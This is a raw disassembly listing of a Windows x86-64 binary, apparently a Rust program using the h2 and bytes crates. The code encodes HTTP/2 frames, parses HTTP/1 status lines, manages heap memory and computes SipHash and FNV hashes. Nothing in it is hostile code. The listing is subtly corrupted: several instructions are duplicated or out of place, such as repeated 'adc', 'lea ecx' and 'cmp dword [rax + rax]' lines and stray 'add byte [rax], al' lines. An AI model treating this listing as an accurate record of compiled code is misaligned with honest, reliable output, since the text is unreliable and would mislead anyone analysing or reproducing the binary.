movups xmm0, xmmword [rsp + 0x28]
movaps xmmword [rsp + 0x40], xmm0
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x50], rax
mov r15d, dword [rsp + 0xd8]
mov rcx, qword [rsp + 0xe0]
mov rdx, qword [rcx + 8]
mov r8, rdx
sub r8, rbp
bswap r8
mov rax, r8
shl rax, 0x18
jne 0x14007ade1
mov r8, qword [rsp + 0x108]
cmp r8, 2
je 0x14007a72d
lea rdx, [rsp + 0x120]
mov rcx, qword [rsp + 0x110]
mov rax, qword [rsp + 0x118]
test r8, r8
je 0x14007a6bc
mov al, 0xc
add rsp, 0x198
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov eax, dword [rsp + 0x80]
mov qword [rdi + 0x40], rax
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
push rax
push rax
movaps xmm2, xmmword [rsp + 0x60]
movaps xmm3, xmmword [rsp + 0x70]
movups xmmword [rdi + 0x30], xmm3
movups xmmword [rdi + 0x20], xmm2
movups xmmword [rdi + 0x10], xmm1
adc dword [rdi + 0x10], ecx
adc dword [rdi + 0x10], ecx
movups xmmword [rdi], xmm0
mov r8, qword [rsp + 0x108]
cmp r8, 2
jne 0x14007a68d
jmp 0x14007a72d
lea rcx, str.assertion_failed:_self.has_capacity__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srccodec_framed_write.rs
lea r8, [0x14013e670]
cmp dword [rax + rax], ecx
cmp dword [rax + rax], ecx
mov edx, 0x25
call fcn.140108630
lea rax, [rsp + 0x20]
mov qword [rsp + 0x90], rax
add byte [rax], al
add byte [rax], al
lea rax, [fcn.140012cc0]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], r13
jmp 0x14007ad94
lea rax, [rsp + 0xe0]
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x20], rax
lea rax, [fcn.140012cc0]
mov qword [rsp + 0x28], rax
stc
dec dword [rax - 0x77]
and al, 0x28
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x38], rax
cmp byte [rax - 0x73], cl
add eax, 0xc7756
cmp byte [rax - 0x73], cl
add eax, 0xc7756
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x20]
jmp case.0x140070bc3.24
lea rax, [rsp + 0x20]
mov qword [rsp + 0x90], rax
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfff97f44
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfff97f44
mov qword [rsp + 0x98], rax
add byte [rax], al
mov rcx, qword [rsp + 0xd8]
mov qword [rsp + 0xa0], rcx
mov qword [rsp + 0xa8], rax
lea rax, [0x1401424a0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x60], 0
mov dword [rsp + 0x60], 0
lea rax, [rsp + 0x90]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x40]
call fcn.140108560
lea rcx, [0x1401298e9]
lea ecx, [0x1401298e9]
lea ecx, [0x1401298e9]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_frameheaders.rsassertion_failed:_payload_len_be_0..5_.iter__.all_b_b__0_
mov edx, 0x3e
call fcn.140108630
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_frameheaders.rsassertion_failed:_payload_len_be_0..5_.iter__.all_b_b__0_
mov rcx, rdi
mov rdx, rax
call fcn.140108810
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_frameheaders.rsassertion_failed:_payload_len_be_0..5_.iter__.all_b_b__0_
mov rcx, rax
call fcn.140108620
lea rcx, str.not_implemented
lea r8, [0x14013e6d8]
mov edx, 0xf
call fcn.140108630
lea rax, [rsp + 0x158]
jmp 0x14007ad28
mov eax, dword [rsp + 0x47c]
inc eax
cmp byte [rdi + 0xd1], 0
mov byte [rdi + 0xd1], 0
je 0x140084c1f
cmp eax, 0x10
je 0x140084c0a
mov dword [rsp + 0x47c], eax
cmp byte [rdi + 0x1e0], 0
jne 0x1400832a0
mov rax, qword [rdi + 0x70]
mov rcx, qword [rdi + 0x90]
test rax, rax
jne 0x14007ecb4
cmp rcx, 2
jne 0x14007ee62
mov rdx, qword [r15 + 0x20]
mov qword [rsp + 0x280], rdx
movdqu xmm0, xmmword [r15]
movdqu xmm1, xmmword [r15 + 0x10]
movdqa xmmword [rsp + 0x270], xmm1
movdqa xmmword [rsp + 0x260], xmm0
mov byte [rdi + 0x1d0], 3
cmp byte [rsp + 0x280], 3
je 0x140083214
mov rcx, qword [rsp + 0x280]
mov qword [rsp + 0x220], rcx
movdqa xmm0, xmmword [rsp + 0x260]
movdqa xmm1, xmmword [rsp + 0x270]
movdqa xmmword [rsp + 0x210], xmm1
movdqa xmmword [rsp + 0x200], xmm0
dec rax
cmp rax, 2
jae 0x14007ee55
mov rcx, rsi
mov rdx, r13
call fcn.140035e20
test rax, rax
jne 0x140083233
test rdx, rdx
je 0x1400826e3
mov qword [rsp + 0x1450], rdx
cmp dword [rdi + 0x70], 1
jne 0x14007ed66
mov qword [rdi + 0x70], 2
mov rcx, r12
mov rdx, rdi
mov r8, r13
call fcn.140090d30
mov rax, qword [rsp + 0x7d0]
cmp rax, 2
je 0x14007ee30
test rax, rax
je 0x14007ee30
mov rax, qword [rsp + 0x7d8]
test rax, rax
je 0x14007edb9
mov rdx, qword [rsp + 0x7e0]
mov r8, qword [rsp + 0x7e8]
lea rcx, [rsp + 0x7f0]
call qword [rax + 0x10]
jmp 0x14007ee30
mov rbx, qword [rsp + 0x7e0]
mov eax, ebx
and eax, 3
cmp eax, 1
jne 0x14007ee30
mov r14, qword [rbx - 1]
mov rsi, qword [rbx + 7]
mov rcx, r14
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x14007edfc
cmp qword [rsi + 0x10], 0x11
jb 0x14007edea
mov r14, qword [r14 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
dec rbx
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea r14, [rsp + 0x1450]
lea rsi, [rsp + 0x200]
nop word cs:[rax + rax]
mov rax, qword [rdi + 0x70]
test rax, rax
je 0x14007ee4d
cmp eax, 3
je 0x14007ee4d
mov qword [rdi + 0x70], 4
mov byte [rdi + 0xd2], 2
mov rcx, r14
call fcn.140035b40
mov rcx, rsi
call fcn.140085650
jmp 0x14007ec8d
cmp dword [rbp], 2
je 0x140082ee1
mov rcx, rbp
mov rdx, r13
call fcn.14008d650
test al, al
je 0x140082ee1
movss xmm12, dword [rdi + 0xc9]
movaps xmmword [rsp + 0x780], xmm12
movzx eax, byte [rsp + 0x781]
mov byte [rsp + 0x6e], al
movzx eax, byte [rdi + 0xcd]
mov byte [rsp + 0x6f], al
movzx eax, byte [rdi + 0xce]
mov byte [rsp + 0x4b], al
movzx eax, byte [rdi + 0xd0]
mov byte [rsp + 0x50], al
nop
mov rax, qword [rsp + 0x5e8]
mov qword [rsp + 0x5f0], rax
mov rax, qword [rsp + 0x5e0]
mov qword [rsp + 0x5f8], rax
movss dword [rsp + 0x600], xmm12
movzx eax, byte [rsp + 0x6f]
mov byte [rsp + 0x604], al
movzx eax, byte [rsp + 0x4b]
mov byte [rsp + 0x605], al
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x606], al
mov rbp, qword [rdi + 0x160]
test rbp, rbp
je 0x140081f80
mov qword [rsp + 0x238], 2
mov qword [rsp + 0x258], 0
mov rax, qword [rsp + 0x428]
mov rbx, qword [rax]
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], 0x64
xor r8d, r8d
jmp 0x14007ef6c
inc r8
cmp r8, rbp
jae 0x140081f70
movzx edx, byte [rbx + r8]
cmp edx, 0xa
je 0x14007ef60
cmp edx, 0xd
jne 0x14007efb0
lea rax, [r8 + 1]
cmp rax, rbp
jae 0x140081f70
cmp byte [rbx + r8 + 1], 0xa
jne 0x140081f8f
add r8, 2
cmp r8, rbp
jb 0x14007ef6c
jmp 0x140081f70
lea rax, [rbx + r8]
mov rcx, rbp
sub rcx, r8
cmp rcx, 8
jb 0x14007f004
mov rdx, qword [rax]
mov r9, rdx
movabs r10, 0xffffffffffffff
and r9, r10
movabs r10, 0x2e312f50545448
cmp r9, r10
jne 0x14007f0fe
shr rdx, 0x38
cmp rdx, 0x30
je 0x14007f08f
cmp edx, 0x31
jne 0x14007f0fe
mov dl, 2
jmp 0x14007f091
cmp rbp, r8
je 0x140081f70
cmp dl, 0x48
jne 0x14007f0fe
cmp rcx, 2
jb 0x140081f70
cmp byte [rax + 1], 0x54
jne 0x14007f0fe
cmp rcx, 2
je 0x140081f70
cmp byte [rax + 2], 0x54
jne 0x14007f0fe
cmp rcx, 4
jb 0x140081f70
cmp byte [rax + 3], 0x50
jne 0x14007f0fe
cmp rcx, 4
je 0x140081f70
cmp byte [rax + 4], 0x2f
jne 0x14007f0fe
cmp rcx, 6
jb 0x140081f70
cmp byte [rax + 5], 0x31
jne 0x14007f0fe
cmp rcx, 7
jne 0x140081f70
cmp byte [rax + 6], 0x2e
jne 0x14007f0fe
jmp 0x140081f70
mov dl, 1
mov qword [rsp + 0x420], rdx
cmp rcx, 8
je 0x140081f70
cmp byte [rax + 8], 0x20
jne 0x14007f0fe
add rax, 9
lea r14, [rcx - 9]
movzx edx, byte [rsp + 0x603]
test dl, dl
je 0x140081b3f
cmp rcx, 9
je 0x140081f70
cmp byte [rax], 0x20
jne 0x140081b36
add r8, rbx
add r8, 0xa
add rcx, 0xfffffffffffffff6
xor r9d, r9d
cmp rcx, r9
je 0x140081f70
lea r10, [r9 + 1]
cmp byte [r8 + r9], 0x20
mov r9, r10
je 0x14007f0e2
jmp 0x140081b39
mov rbp, qword [rsp + 0x60]
lea r14, [rsp + 0x1450]
cmp byte [rsp + 0x50], 0
je 0x140082260
mov ax, 0xc8
mov qword [rsp + 0x418], rax
xor ebp, ebp
xor eax, eax
xor r12d, r12d
xor r13d, r13d
mov r15, qword [rsp + 0x30]
mov qword [rsp + 0x458], rax
mov rax, qword [rsp + 0x4c0]
lea rcx, [rsp + 0x460]
mov qword [rcx + 0x10], rax
movdqa xmm0, xmmword [rsp + 0x4b0]
movdqu xmmword [rcx], xmm0
lea rcx, [rsp + 0x680]
mov rdx, qword [rsp + 0x428]
mov r8, rbp
call fcn.140012550
cmp byte [rsp + 0x6e], 0
je 0x14007f289
cmp r13, 0x65
jae 0x140085177
test r13, r13
je 0x14007f289
mov rax, r13
shl rax, 5
lea r8, [rsp + rax]
add r8, 0x1450
mov r9, qword [rsp + 0x680]
mov rdx, qword [rsp + 0x688]
jmp 0x14007f1cd
add r14, 0x20
cmp r14, r8
je 0x14007f289
mov rcx, qword [r14 + 0x10]
mov rax, qword [r14 + 0x18]
cmp rcx, rax
ja 0x140084ce6
cmp rax, rdx
ja 0x140084cd7
mov rsi, rcx
sub rsi, rax
je 0x14007f1c0
lea r11, [r9 + rcx]
mov ebx, eax
sub ebx, ecx
and ebx, 3
jne 0x14007f21c
cmp rsi, 0xfffffffffffffffc
ja 0x14007f1c0
add rax, r9
jmp 0x14007f23e
mov byte [r11], 0x20
inc r11
dec rbx
je 0x14007f1fc
movzx ecx, byte [r11]
cmp ecx, 0xd
je 0x14007f210
cmp ecx, 0xa
je 0x14007f210
jmp 0x14007f214
mov byte [r11 + 3], 0x20
add r11, 4
cmp r11, rax
je 0x14007f1c0
movzx ecx, byte [r11]
cmp ecx, 0xd
je 0x14007f24c
cmp ecx, 0xa
jne 0x14007f250
mov byte [r11], 0x20
movzx ecx, byte [r11 + 1]
cmp ecx, 0xd
je 0x14007f25f
cmp ecx, 0xa
jne 0x14007f264
mov byte [r11 + 1], 0x20
movzx ecx, byte [r11 + 2]
cmp ecx, 0xd
je 0x14007f273
cmp ecx, 0xa
jne 0x14007f278
mov byte [r11 + 2], 0x20
movzx ecx, byte [r11 + 3]
cmp ecx, 0xd
je 0x14007f230
cmp ecx, 0xa
je 0x14007f230
jmp 0x14007f235
mov rsi, qword [rsp + 0x698]
test sil, 1
jne 0x14007f2c5
movdqu xmm0, xmmword [rsp + 0x680]
movdqu xmmword [rsp + 0x1e8], xmm0
mov qword [rsp + 0x1f8], rsi
lea rax, [0x14014fa88]
mov qword [rsp + 0x1e0], rax
jmp 0x14007f39e
shr rsi, 5
mov rbx, qword [rsp + 0x680]
mov rax, qword [rsp + 0x688]
mov r15, qword [rsp + 0x690]
sub rbx, rsi
lea r14, [rsi + rax]
cmp rax, r15
jne 0x14007f30c
test r14, r14
je 0x14007f348
test bl, 1
mov r15, qword [rsp + 0x30]
mov rax, rbx
jne 0x14007f360
or rax, 1
lea rcx, [0x14012a090]
jmp 0x14007f367
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400852a7
add r15, rsi
mov qword [rax], rbx
mov qword [rax + 8], r15
mov qword [rax + 0x10], 1
lea rcx, [0x140114bd8]
mov r15, qword [rsp + 0x30]
jmp 0x14007f367
mov ebx, 1
xor eax, eax
xor r14d, r14d
lea rcx, [0x140114ae8]
mov r15, qword [rsp + 0x30]
jmp 0x14007f367
lea rcx, [0x14012a0a8]
mov qword [rsp + 0x4b0], rsi
mov rdx, r14
sub rdx, rsi
jb 0x14008519a
add rbx, rsi
mov qword [rsp + 0x1e0], rcx
mov qword [rsp + 0x1e8], rbx
mov qword [rsp + 0x1f0], rdx
mov qword [rsp + 0x1f8], rax
mov rcx, qword [rsp + 0x5e8]
mov rax, qword [rcx]
mov qword [rcx], 3
cmp rax, 3
jne 0x14007f419
mov qword [rsp + 0x358], 0
mov qword [rsp + 0x360], 8
lea rax, [rsp + 0x358]
movups xmmword [rax + 0x10], xmm8
mov qword [rsp + 0x378], 8
mov qword [rsp + 0x380], 0
mov qword [rsp + 0x388], 2
mov qword [rsp + 0x390], 0
mov word [rsp + 0x398], 0
xor eax, eax
jmp 0x14007f460
mov r8, qword [rsp + 0x678]
mov rcx, qword [r8 + 0x50]
lea rdx, [rsp + 0x358]
mov qword [rdx + 0x40], rcx
movups xmm0, xmmword [r8 + 0x40]
movups xmmword [rdx + 0x30], xmm0
movdqu xmm0, xmmword [r8]
movdqu xmm1, xmmword [r8 + 0x10]
movups xmm2, xmmword [r8 + 0x20]
movups xmm3, xmmword [r8 + 0x30]
movups xmmword [rdx + 0x20], xmm3
movups xmmword [rdx + 0x10], xmm2
movdqu xmmword [rdx], xmm1
movdqu xmmword [rdx - 0x10], xmm0
cmp r12b, 2
sete cl
mov dword [rsp + 0xa4], ecx
mov qword [rsp + 0x340], rax
cmp byte [rsp + 0x4b], 0
mov qword [rsp + 0x420], r12
je 0x14007f4e8
lea rax, [rsp + 0x180]
movups xmmword [rax + 0x10], xmm8
mov qword [rsp + 0x180], 0
mov qword [rsp + 0x188], 8
mov qword [rsp + 0x1a0], 8
mov qword [rsp + 0x1a8], 0
mov qword [rsp + 0x1b0], 2
mov qword [rsp + 0x1b8], 0
mov word [rsp + 0x1c0], 0
xor eax, eax
jmp 0x14007f4ed
mov eax, 3
mov qword [rsp + 0x168], rax
mov rax, qword [rsp + 0x368]
mov rdx, rax
add rdx, r13
jb 0x140084fae
mov rsi, qword [rsp + 0x390]
cmp rdx, rsi
lea r12, [rsp + 0x7d0]
jbe 0x14007f6e1
lea rcx, [rdx - 1]
bsr rcx, rcx
not ecx
mov r8, 0xffffffffffffffff
shr r8, cl
cmp rdx, 2
mov r12d, 0
cmovae r12, r8
mov r14, r12
inc r14
sete cl
cmp r12, 0x7fff
ja 0x140084fae
test cl, cl
jne 0x140084fae
test rax, rax
je 0x14007f594
lea rcx, [rsp + 0x340]
mov rdx, r14
call fcn.1400389a0
test al, al
lea r12, [rsp + 0x7d0]
lea rax, [rsp + 0x1450]
je 0x14007f6e9
jmp 0x140084fae
lea eax, [r14 - 1]
mov word [rsp + 0x398], ax
lea r15, [r14*4]
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r15
call fcn.1400df910
test rax, rax
je 0x1400853b3
mov rbx, rax
cmp r14, 1
mov r15, qword [rsp + 0x30]
je 0x14007f61f
mov ecx, 1
mov rax, rbx
cmp r12, 8
jb 0x14007f609
mov rdx, r12
and rdx, 0xfffffffffffffff8
lea rax, [rbx + rdx*4]
lea rcx, [rdx + 1]
xor r8d, r8d
movups xmmword [rbx + r8*4], xmm9
movups xmmword [rbx + r8*4 + 0x10], xmm9
add r8, 8
cmp rdx, r8
jne 0x14007f5f0
cmp r12, rdx
je 0x14007f61f
sub r12, rcx
inc r12
nop
mov dword [rax], 0xffff
add rax, 4
dec r12
jne 0x14007f610
mov dword [rax], 0xffff
test rsi, rsi
je 0x14007f641
mov r8, qword [rsp + 0x388]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x388], rbx
mov qword [rsp + 0x390], r14
mov rax, r14
shr rax, 2
mov ebx, 8
sub r14, rax
lea r12, [rsp + 0x7d0]
je 0x14007f6a3
movabs rax, 0x13b13b13b13b13c
cmp r14, rax
jae 0x14008551a
imul r15, r14, 0x68
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r15
call fcn.1400df910
test rax, rax
je 0x14008550d
mov rbx, rax
mov r15, qword [rsp + 0x30]
cmp qword [rsp + 0x358], 0
je 0x14007f6c5
mov r8, qword [rsp + 0x360]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x358], r14
mov qword [rsp + 0x360], rbx
mov qword [rsp + 0x368], 0
lea rax, [rsp + 0x1450]
cmp r13, 0x65
jae 0x140085075
test r13, r13
je 0x1400815ab
shl r13, 5
lea rcx, [rsp + r13]
add rcx, 0x1450
mov qword [rsp + 0x660], rcx
mov rbx, rax
mov r15, qword [rbx]
mov r13, qword [rbx + 8]
mov rax, r15
sub rax, r13
ja 0x140084fd8
mov rdx, qword [rsp + 0x1f0]
cmp r13, rdx
ja 0x140084fc9
mov r14, r13
sub r14, r15
je 0x1400821af
mov rsi, qword [rsp + 0x1e8]
cmp r14, 0x40
ja 0x14007f769
cmp rax, 0xfffffffffffffffc
jbe 0x14007f7ad
xor r8d, r8d
lea r10, [0x14013fff0]
jmp 0x14007f827
cmp r14, 0x10000
jae 0x1400821af
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r14
call fcn.1400df910
test rax, rax
je 0x1400850f5
mov rcx, r14
mov rbp, rbx
shr rcx, 0xa
je 0x14007f925
bsr rcx, rcx
xor rcx, 0x3f
jmp 0x14007f92a
mov eax, r14d
and eax, 0x7c
lea rcx, [rsi + r15]
add rcx, 3
xor edx, edx
lea r10, [0x14013fff0]
nop word cs:[rax + rax]
movzx r8d, byte [rcx + rdx - 3]
movzx r8d, byte [r8 + r10]
mov byte [rsp + rdx + 0x7d0], r8b
movzx r8d, byte [rcx + rdx - 2]
movzx r8d, byte [r8 + r10]
mov byte [rsp + rdx + 0x7d1], r8b
movzx r8d, byte [rcx + rdx - 1]
movzx r8d, byte [r8 + r10]
mov byte [rsp + rdx + 0x7d2], r8b
lea r8, [rdx + 4]
movzx r9d, byte [rcx + rdx]
movzx r9d, byte [r9 + r10]
mov byte [rsp + rdx + 0x7d3], r9b
mov rdx, r8
cmp rax, r8
jne 0x14007f7d0
mov eax, r14d
and eax, 3
je 0x14007f866
lea rcx, [rsp + r8]
add rcx, 0x7d0
add r15, r8
add rsi, r15
xor edx, edx
nop word cs:[rax + rax]
movzx r8d, byte [rsi + rdx]
movzx r8d, byte [r8 + r10]
mov byte [rcx + rdx], r8b
inc rdx
cmp rax, rdx
jne 0x14007f850
mov rcx, r12
mov rdx, r14
call fcn.14002e2f0
cmp al, 0x51
jne 0x14007f8f9
cmp r14, 0xf
ja 0x14007f9e5
xor eax, eax
nop word cs:[rax + rax]
cmp byte [rsp + rax + 0x7d0], 0
je 0x1400821af
inc rax
cmp r14, rax
jne 0x14007f890
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r14
call fcn.1400df910
test rax, rax
je 0x1400850f5
mov rcx, rax
mov rsi, rax
mov rdx, r12
mov r8, r14
call fcn.140106530
mov rdx, rsi
mov r8, rsi
or r8, 1
test dl, 1
cmovne r8, rsi
lea rcx, [0x14012a0a8]
lea rax, [0x14012a090]
cmove rcx, rax
jmp 0x14007fae9
movzx eax, al
mov rdx, qword [rsp + 0x648]
and rdx, 0xffffffffffffff00
or rdx, rax
xor ecx, ecx
mov r8, qword [rsp + 0x658]
mov r14, qword [rsp + 0x650]
jmp 0x14007fae9
mov ecx, 0x40
shl rcx, 2
mov edx, 0x101
sub rdx, rcx
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], r14
mov qword [rsp + 0x88], rdx
xor ecx, ecx
nop word cs:[rax + rax]
movzx edx, byte [rsi + r15]
lea r8, [0x14013fff0]
movzx ebx, byte [rdx + r8]
test bl, bl
je 0x14008214d
cmp r14, rcx
jne 0x14007f99f
mov edx, 1
lea rcx, [rsp + 0x70]
call fcn.1400126f0
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
mov r14, qword [rsp + 0x80]
mov byte [rax + rcx], bl
inc rcx
mov qword [rsp + 0xe0], rcx
cmp rcx, r14
ja 0x140084d04
mov qword [rsp + 0x78], rcx
inc r15
cmp r13, r15
jne 0x14007f960
mov rdx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x88]
test sil, 1
jne 0x14007f9fa
lea rax, [0x14014fa88]
mov r8, rsi
jmp 0x14007fae0
cmp qword [rsp + 0x670], r12
jne 0x14007fa37
lea rcx, [r14 - 0x10]
xor eax, eax
jmp 0x140081550
mov r14, qword [rsp + 0x80]
shr rsi, 5
sub rdx, rsi
lea rbx, [rsi + rcx]
cmp rcx, r14
jne 0x14007fa6f
test rbx, rbx
je 0x14007faaf
mov r8, rdx
test dl, 1
jne 0x14007fac2
or r8, 1
lea rax, [0x14012a090]
jmp 0x14007fac9
mov rcx, qword [rsp + 0x668]
cmp rcx, r14
mov rax, r14
cmovb rax, rcx
xor ecx, ecx
nop dword [rax + rax]
cmp byte [rsp + rcx + 0x7d0], 0
je 0x1400821af
inc rcx
cmp rax, rcx
jne 0x14007fa50
lea rcx, [r14 - 0x10]
jmp 0x140081587
mov r15, rdx
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400852a7
mov r8, rax
add r14, rsi
mov rdx, r15
mov qword [rax], r15
mov qword [rax + 8], r14
mov qword [rax + 0x10], 1
lea rax, [0x140114bd8]
jmp 0x14007fac9
mov edx, 1
xor r8d, r8d
xor ebx, ebx
lea rax, [0x140114ae8]
jmp 0x14007fac9
lea rax, [0x14012a0a8]
mov qword [rsp + 0x140], rsi
mov rcx, rbx
sub rcx, rsi
jb 0x140085456
add rdx, rsi
mov r14, rcx
mov rcx, rax
mov rbx, rbp
mov qword [rsp + 0x430], rcx
mov qword [rsp + 0x438], rdx
mov qword [rsp + 0x650], r14
mov qword [rsp + 0x440], r14
mov qword [rsp + 0x658], r8
mov qword [rsp + 0x448], r8
mov r14, qword [rbx + 0x10]
mov rax, qword [rbx + 0x18]
mov r9, qword [rsp + 0x1f0]
mov qword [rsp + 0xe0], r9
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x4b0], rax
cmp r14, rax
ja 0x140084fea
cmp r9, rax
jb 0x1400850c9
cmp rax, r14
mov qword [rsp + 0x648], rdx
mov qword [rsp + 0x7c8], rcx
jne 0x14007fb83
mov r14d, 1
mov eax, edx
xor r15d, r15d
xor ebp, ebp
lea r13, [0x14012bcb8]
test rcx, rcx
je 0x14007fbe1
jmp 0x14007fc47
mov rax, qword [rsp + 0x1e0]
mov r8, qword [rsp + 0x1e8]
mov rcx, r12
lea rdx, [rsp + 0x1f8]
call qword [rax]
mov r13, qword [rsp + 0x7d0]
test r13, r13
je 0x14008520d
mov rbp, qword [rsp + 0x4b0]
mov r15, qword [rsp + 0x7e8]
sub rbp, r14
add r14, qword [rsp + 0x7d8]
mov rcx, qword [rsp + 0x430]
movzx eax, byte [rsp + 0x438]
test rcx, rcx
jne 0x14007fc47
cmp al, 0x14
jne 0x14007fc47
test byte [rsp + 0xa4], 1
jne 0x14007fc14
mov rcx, r14
mov rdx, rbp
call fcn.140037590
mov dword [rsp + 0xa4], eax
mov rsi, qword [rsp + 0x168]
cmp rsi, 3
jne 0x14007fc59
jmp 0x140080d0b
xor eax, eax
nop word cs:[rax + rax]
cmp rbp, rax
je 0x14007ffda
movzx ecx, byte [r14 + rax]
inc rax
cmp cl, 9
je 0x14007fc20
add cl, 0xe0
cmp cl, 0x5f
jb 0x14007fc20
mov al, 1
mov dword [rsp + 0xa4], eax
mov rsi, qword [rsp + 0x168]
cmp rsi, 3
je 0x140080d0b
mov rax, rbx
mov rbx, qword [rbx]
mov qword [rsp + 0x98], rax
mov rax, qword [rax + 8]
mov r9, qword [rsp + 0x1f0]
mov qword [rsp + 0x140], r9
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x4b0], rax
cmp rbx, rax
ja 0x140084fea
cmp r9, rax
jb 0x140085219
cmp rax, rbx
mov qword [rsp + 0x640], r14
mov qword [rsp + 0x230], r15
jne 0x14007fcd8
mov qword [rsp + 0xe8], 1
lea rax, [rsp + 0xf0]
movups xmmword [rax], xmm8
lea rax, [0x14012bcb8]
mov qword [rsp + 0xe0], rax
jmp 0x14007fd42
mov rax, qword [rsp + 0x1e0]
mov r8, qword [rsp + 0x1e8]
mov rcx, r12
lea rdx, [rsp + 0x1f8]
call qword [rax]
mov rax, qword [rsp + 0x4b0]
sub rax, rbx
mov qword [rsp + 0x7e0], rax
add qword [rsp + 0x7d8], rbx
movdqu xmm0, xmmword [rsp + 0x7d0]
movdqa xmmword [rsp + 0xe0], xmm0
mov rax, qword [rsp + 0x7e0]
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0x7e8]
mov qword [rsp + 0xf8], rax
mov r15, qword [rsp + 0x190]
mov r14, qword [rsp + 0x1b8]
cmp esi, 1
mov qword [rsp + 0x410], r13
mov qword [rsp + 0x408], rbp
jne 0x14007fdb5
test r15, r15
js 0x1400800f7
xorps xmm0, xmm0
cvtsi2ss xmm0, r15
test r14, r14
jns 0x14008011b
mov rax, r14
shr rax, 1
mov ecx, r14d
and ecx, 1
or rcx, rax
cvtsi2ss xmm1, rcx
addss xmm1, xmm1
divss xmm0, xmm1
ucomiss xmm0, xmm11
jb 0x14008012e
mov qword [rsp + 0x168], 0
jmp 0x14007fdd0
mov rax, r14
shr rax, 2
mov rcx, r14
sub rcx, rax
cmp r15, rcx
jne 0x14007fdeb
test r15, r15
je 0x14008045d
add r14, r14
lea rcx, [rsp + 0x168]
mov rdx, r14
call fcn.14003a6b0
test al, al
jne 0x140085315
mov rcx, qword [rsp + 0x168]
cmp rcx, 2
mov qword [rsp + 0x628], rcx
jne 0x14007ff3f
mov r8, qword [rsp + 0x170]
mov r10, qword [rsp + 0x178]
mov r9, r8
movabs rax, 0x736f6d6570736575
xor r9, rax
mov rax, r10
movabs rcx, 0x646f72616e646f6d
xor rax, rcx
mov rdx, r8
movabs rcx, 0x6c7967656e657261
xor rdx, rcx
mov rcx, r10
movabs r11, 0x7465646279746573
xor rcx, r11
mov qword [rsp + 0x7d0], r9
mov qword [rsp + 0x7d8], rdx
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7e8], rcx
mov qword [rsp + 0x7f0], r8
mov qword [rsp + 0x7f8], r10
mov r11, qword [rsp + 0x430]
xor r8d, r8d
test r11, r11
setne r8b
xor rcx, r8
add rdx, rcx
rol rcx, 0x10
lea r10, [rsp + 0x808]
movups xmmword [r10], xmm8
add r9, rax
rol rax, 0xd
xor rax, r9
rol r9, 0x20
xor rcx, rdx
add r9, rcx
xor r8, r9
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
rol rcx, 0x15
xor rcx, r9
mov qword [rsp + 0x800], 8
mov qword [rsp + 0x7e8], rcx
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7d8], rdx
mov qword [rsp + 0x7d0], r8
movups xmmword [rsp + 0x808], xmm8
mov rsi, r11
test r11, r11
je 0x140080303
mov rdx, qword [rsp + 0x438]
mov r8, qword [rsp + 0x440]
lea rcx, [rsp + 0x7d0]
mov qword [rsp + 0xb0], rdx
jmp 0x140080331
mov r10, qword [rsp + 0x430]
xor r11d, r11d
test r10, r10
setne r11b
movabs rax, 0xcbf29ce484222325
xor r11, rax
movabs rax, 0x1efac7090aef4a21
imul r11, rax
test r10, r10
movabs r9, 0x100000001b3
je 0x14008043e
mov rax, qword [rsp + 0x438]
mov qword [rsp + 0xb0], rax
mov r8, qword [rsp + 0x440]
test r8, r8
je 0x1400805b7
mov rcx, r8
and rcx, 7
je 0x140080525
mov rax, qword [rsp + 0xb0]
nop word cs:[rax + rax]
movzx edx, byte [rax]
inc rax
xor rdx, r11
imul rdx, r9
mov r11, rdx
dec rcx
jne 0x14007ffc0
jmp 0x140080530
